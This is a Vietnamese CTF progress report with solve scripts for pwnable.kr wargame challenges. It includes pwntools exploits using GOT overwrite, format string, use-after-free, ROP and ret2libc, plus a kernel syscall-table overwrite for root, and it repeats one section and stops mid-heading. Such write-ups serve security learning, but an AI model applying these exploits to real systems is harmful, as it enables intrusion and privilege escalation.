# Báo cáo lần 2 [08/04/2023]
## Giải trên pwnable.kr
**Kiến thức mới:** Nếu ta thực thi `ulimit -s unlimited` thì mình hoàn toàn có thể thay đổi địa chỉ stack thành bất kỳ địa chỉ nào và thực thi push sẽ không gây lỗi. Giả sử với đoạn code 32bit sau:
```asm
section .text
global _start
_start:
mov esp, 0x87654321
push eax
```
Nếu ta compile với những lệnh sau:
```bash
nasm -f elf32 run.asm
ld -m elf_i386 -o run run.o
```
Và thực thi:
```bash
ulimit -s unlimited
```
Thì khi debug ta sẽ thấy được địa chỉ stack tự động được khởi tạo. Trước khi `push eax`:

Sau khi `push eax`:

Vào bài thôi nào!
### brain fuck
Bài này cơ bản cho ta quyền chỉnh sửa và in ra tùy ý bằng ngôn ngữ Brainfuck:

Sơ lược chức năng:
- p: con trỏ
- *p: giá trị mà con trỏ đang trỏ tới
- (+) hoặc (-): cộng hoặc trừ *p với 1
- (,): cho người dùng nhập 1 byte để thay đổi *p
- (.): in ra *p
- (\<) hoặc (\>): thay đổi địa chỉ p
Sơ lược vùng nhớ:

Ý tưởng khai thác:
1. Leak địa chỉ libc
2. Overwrite putchar@got thành one_gadget
3. Thực thi putchar()
one_gadget có điều kiện sau:

Solve script:
```python
#!/usr/bin/python3
from pwn import *
exe = ELF('bf_patched', checksec=False)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
s = lambda data: p.send(data)
if args.LOCAL:
p = process(exe.path)
else:
p = remote('pwnable.kr', 9001)
### Stage 1: Leak libc address ###
payload = b'<'*0x3c
payload += b'<.'*4
### Stage 2: Overwrite putchar@got thành one_gadget
payload += b'<'*44
payload += b'<,'*4
### Stage 3: Thực thi putchar()
payload += b'>'*0x24
payload += b'.'
sla(b'[ ]\n', payload)
out = p.recv(1)
out += p.recv(1)
out += p.recv(1)
out += p.recv(1)
libc_leak = u32(out[::-1])
libc.address = libc_leak - 0x1b3d60
libc.sym['one_gadget'] = libc.address + 0x5fbd5
info("Libc base: " + hex(libc.address))
s(p32(libc.sym['one_gadget'])[::-1])
p.interactive()
```
### simple login
Bài này nếu ta nhìn vào hàm auth() sẽ thấy ngay lỗi buffer overflow:

Khi biến input được nhập tới 12 byte nhưng biến v4 lại là 2 byte. Nếu ta nhập full 12 byte thì 4 byte cuối sẽ có thể ghi đè saved ebp:

Đồng thời biến toàn cục input là địa chỉ tĩnh, do đó hướng khai thác là overwrite saved ebp thành địa chỉ input và để địa chỉ hàm correct() trong input để khi chương trình `leave ; ret` 2 lần thì sẽ thực thi được hàm correct() của ta.
Solve script:
```python
from pwn import *
from base64 import b64encode
exe = ELF('login', checksec=False)
context.binary = exe
if args.LOCAL:
p = process(exe.path)
else:
p = remote('pwnable.kr', 9003)
payload = p32(exe.sym['correct']+25) + \
b'A'*4 + \
p32(exe.sym['input'] - 4) # Overwrite saved ebp
payload = b64encode(payload)
p.sendlineafter(b' : ', payload)
p.interactive()
```
### ascii easy
Bài này payload của ta phải là chuỗi ascii in được, đồng thời ta có một vùng địa chỉ 0x5555e000 được tạo với các gadget của libc-2.15.so. Do đó việc của ta cần làm là tìm các gadget có địa chỉ là các ký tự ascii để khai thác. Xài ropper sẽ hiển thị tất cả các gadget giúp việc tìm kiếm dễ dàng hơn và dùng grep để lọc toàn bộ địa chỉ trong phạm vi mã ascii:

Solve script:
```python
from pwn import *
null_value = 0x556f6161
xor_eax_eax = 0x5555e000+0x000a7230
pop_ecx_add_al_0xa = 0x5555e000+0x00174a51
inc_eax = 0x5555e000+0x000e6263
pop_edx_xor_eax_eax_pop_edi = 0x5555e000+0x00095555
int_0x80 = 0x55667177
payload = flat(
b'A'*32,
pop_edx_xor_eax_eax_pop_edi, null_value, null_value,
pop_ecx_add_al_0xa, null_value,
inc_eax,
int_0x80,
)
payload = payload.ljust(196, b'A') + b'/bin/sh'
if args.REMOTE:
s = ssh(user='ascii_easy', password='guest', host='pwnable.kr', port=2222)
p = s.process(['./ascii_easy', payload])
else:
p = process(['./ascii_easy_patched', payload])
p.interactive()
```
### fsb
Có một lỗi duy nhất trong hàm fsb chính là đoạn này:

Với lỗi format string được thực thi 4 lần, ta có thể leak giá trị của biến key ra. Vì biến buf là biến toàn cục nên ta sẽ cần phải ghi địa chỉ của biến key lên stack thông qua con trỏ stack trước rồi mới leak sau.
Solve script:
```python
from pwn import *
exe = ELF('fsb_patched', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sa = lambda msg, data: p.sendafter(msg, data)
s = ssh(user='fsb', password='guest', host='pwnable.kr', port=2222)
p = s.process('fsb')
##############################################
### Stage 1: Write address of key to stack ###
##############################################
payload = f'%{exe.sym["key"]}c%14$n\0'.encode()
sa(b'strings(1)\n', payload)
p.recvuntil(b'strings(2)\n')
#########################
### Stage 2: Leak key ###
#########################
p.send(b'%20$s\0')
key = u32(p.recv(8)[:4])
info("Key: " + hex(key))
####################################
### Stage 3: Change key to key+4 ###
####################################
payload = f'%{ (exe.sym["key"] + 4) & 0xff}c%14$hhn\0'.encode()
sa(b'strings(3)\n', payload)
###########################################
### Stage 4: Remove 4 high bytes of key ###
###########################################
payload = f'%20$n\0'.encode()
sa(b'strings(4)\n', payload)
sa(b'key : \n', str(key).encode())
p.interactive()
```
### dragon
Bài này mục tiêu của ta là phải chiến thắng con quái vật trước để thực thi được đoạn code này:

Đoạn code đó cho phép ta thay đổi địa chỉ của hàm print_func vì sau khi đánh nhau với quái vật xong, chương trình sẽ free con quái vật và người hùng của ta nhưng lại không xóa con trỏ --> Use-After-Free nên con trỏ của con quái vật vẫn tồn tại. Ngoài ra ta cũng có hàm SecretLevel() giúp lấy shell:

Cơ mà ta sẽ ko đi từ đầu hàm mà ta đi thẳng ngay đoạn code thực thi `system("/bin/sh")` luôn.
Solve script:
```python
from pwn import *
sla = lambda msg, data: p.sendlineafter(msg, data)
sl = lambda data: p.sendline(data)
p = remote('pwnable.kr', 9004)
sl(b'2')
sl(b'2')
sl(b'1')
for i in range(4):
sl(b'3')
sl(b'3')
sl(b'2')
payload = p32(0x08048dbf) # Jump to system() in SecretLevel
sla(b'You As:', payload)
p.interactive()
```
### fix
Bài này là fix shellcode để có thể tạo shell. Vì khi thực thi, ta bị vướng ngay 2 cái `push eax` và `push ebx` và sẽ bị mất chuỗi `/bin/sh` cũng như đoạn shellcode tiếp theo sẽ bị lỗi. Do đó ta sẽ lợi dụng điểm này để thay đổi luôn địa chỉ stack với `pop esp` đảm bảo an toàn.
Trước khi chạy ứng dụng, ta chạy lệnh sau:
```bash
ulimit -s unlimited
```
Sau đó ta thay đổi lệnh `pop eax` thành `push esp` (byte code là 0x5c) là tạo được shell

### syscall
Đây là một bài khai thác kernel. Khi đọc source, ta thấy được địa chỉ của bảng syscall là tại `0x8000e348` và vùng địa chỉ này ghi đè được. Do đó ta sẽ có thể ghi đè những địa chỉ của các hàm ứng với các giá trị syscall thành hàm prepare_kernel_cred() (địa chỉ là 0x8003f924) và commit_creds() (địa chỉ là 0x8003f56c) với syscall 223 là lệnh copy.
Tuy nhiên địa chỉ của commit_creds() có chứa byte 0x6c là một ký tự in thường nên khi đưa vào sẽ bị chuyển thành 0x4c và sẽ bị sai. Do đó ý tưởng của ta sẽ là ghi đè luôn những lệnh trước hàm commit_creds, chẳng hạn như ghi đè các lệnh bắt đầu từ địa chỉ `0x8003f56c - 0xc` thành các lệnh vô dụng, không gây crash chương trình và mình sẽ truyền vào địa chỉ 0x8003f560 mà không sợ bị lỗi.
Solve script:
```c
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <stdlib.h>
#define SYS_CALL_TABLE 0x8000e348
unsigned long int commit_creds[] = {0x8003f56c - 0xc, 0};
unsigned long int prepare_kernel_cred[] = {0x8003f924, 0};
char *patch = "\x89\xC0\x89\xC0\x89\xC0\x89\xC0\x89\xC0\x89\xC0";
int main()
{
char b[0x200] = {0};
unsigned long int i, addr;
syscall(223, patch, commit_creds[0]);
syscall(223, &prepare_kernel_cred, SYS_CALL_TABLE + 7*4);
syscall(223, &commit_creds, SYS_CALL_TABLE + 8*4);
i = syscall(7, 0);
syscall(8, i);
if (getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
}
return 0;
}
```
Đề chuyển file từ máy lên server, ta có thể convert cái source thành base64 và decode base64 trên server là ta đưa được source lên server. Từ đó ta dùng gcc để build thành file thực thi:
```bash
base64 exploit.c
echo "result-from-command-`base64 exploit.c`" > test
base64 -d test > exploit.c
gcc exploit.c -o exploit
./exploit
```
### simple login
Bài này nếu ta nhìn vào hàm auth() sẽ thấy ngay lỗi buffer overflow:

Khi biến input được nhập tới 12 byte nhưng biến v4 lại là 2 byte. Nếu ta nhập full 12 byte thì 4 byte cuối sẽ có thể ghi đè saved ebp:

Đồng thời biến toàn cục input là địa chỉ tĩnh, do đó hướng khai thác là overwrite saved ebp thành địa chỉ input và để địa chỉ hàm correct() trong input để khi chương trình `leave ; ret` 2 lần thì sẽ thực thi được hàm correct() của ta.
Solve script:
```python
from pwn import *
from base64 import b64encode
exe = ELF('login', checksec=False)
context.binary = exe
if args.LOCAL:
p = process(exe.path)
else:
p = remote('pwnable.kr', 9003)
payload = p32(exe.sym['correct']+25) + \
b'A'*4 + \
p32(exe.sym['input'] - 4) # Overwrite saved ebp
payload = b64encode(payload)
p.sendlineafter(b' : ', payload)
p.interactive()
```
### echo1
Bài này cho ta sẵn hàm có lỗi **buffer overflow** và địa chỉ tĩnh nên ta chỉ việc khai thác với kỹ thuật ret2libc là lấy được shell:
```python
from pwn import *
exe = ELF('echo1_patched', checksec=False)
libc = ELF('./libc6_2.23-0ubuntu11.3_amd64.so', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sl = lambda data: p.sendline(data)
if args.LOCAL:
p = process(exe.path)
else:
p = remote('pwnable.kr', 9010)
##################################
### Stage 1: Leak libc address ###
##################################
sla(b' : ', b'abcd')
sla(b'> ', b'1')
payload = flat(
b'A'*40,
0x0000000000400b10,
b'B'*0x30,
exe.got['puts'],
exe.plt['puts'],
exe.sym['main'],
)
sl(payload)
p.recvuntil(b'goodbye ')
p.recvline()
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - libc.sym['puts']
info("Libc leak: " + hex(libc_leak))
info("Libc base: " + hex(libc.address))
##########################
### Stage 2: Get shell ###
##########################
pop_rdi = libc.address + 0x0000000000021112
pop_rsi = libc.address + 0x00000000000202f8
pop_rdx = libc.address + 0x0000000000001b92
ret = pop_rdi + 1
sla(b' : ', b'abcd')
sla(b'> ', b'1')
payload = flat(
b'A'*40,
pop_rdi, next(libc.search(b'/bin/sh')),
pop_rsi, 0,
pop_rdx, 0,
libc.sym['system']
)
sl(payload)
p.interactive()
```
### echo2
Bài này ta có lỗi format string trong hàm echo2():

Đồng thời ta cũng có lỗi Use-After-Free trong hàm cleanup():

Do đó ý tưởng của ta sẽ là thực hiện format string trước để leak địa chỉ libc. Sau đó ta thực thi cleanup() để free chunk `o` nhưng không xóa con trỏ và sau đó chọn hàm echo3 để malloc với cái địa chỉ heap giống với địa chỉ của chunk `o`. Sau đó ta thực hiện ghi đè địa chỉ của `*(o + 4)` thành one_gadget hoặc system là tạo được shell:
```python
from pwn import *
exe = ELF('echo2_patched', checksec=False)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sl = lambda data: p.sendline(data)
if args.LOCAL:
p = process(exe.path)
else:
p = remote('pwnable.kr', 9011)
##################################
### Stage 1: Leak libc address ###
##################################
sla(b' : ', b'abcd')
sla(b'> ', b'2')
p.recvuntil(b'hello abcd\n')
p.sendline(b'%19$p')
libc_leak = int(p.recvline()[:-1], 16)
libc.address = libc_leak - 0x20840
info("Libc leak: " + hex(libc_leak))
info("Libc base: " + hex(libc.address))
#################################################
### Stage 2: Overwrite *(o+4) into one_gadget ###
#################################################
sla(b'> ', b'4')
sla(b'(y/n)', b'n')
sla(b'> ', b'3')
payload = flat(
b'A'*0x18,
libc.address + 0xf03a4,
)
sl(payload)
sla(b'> ', b'3')
p.interactive()
```
## Giải WolvCTF 202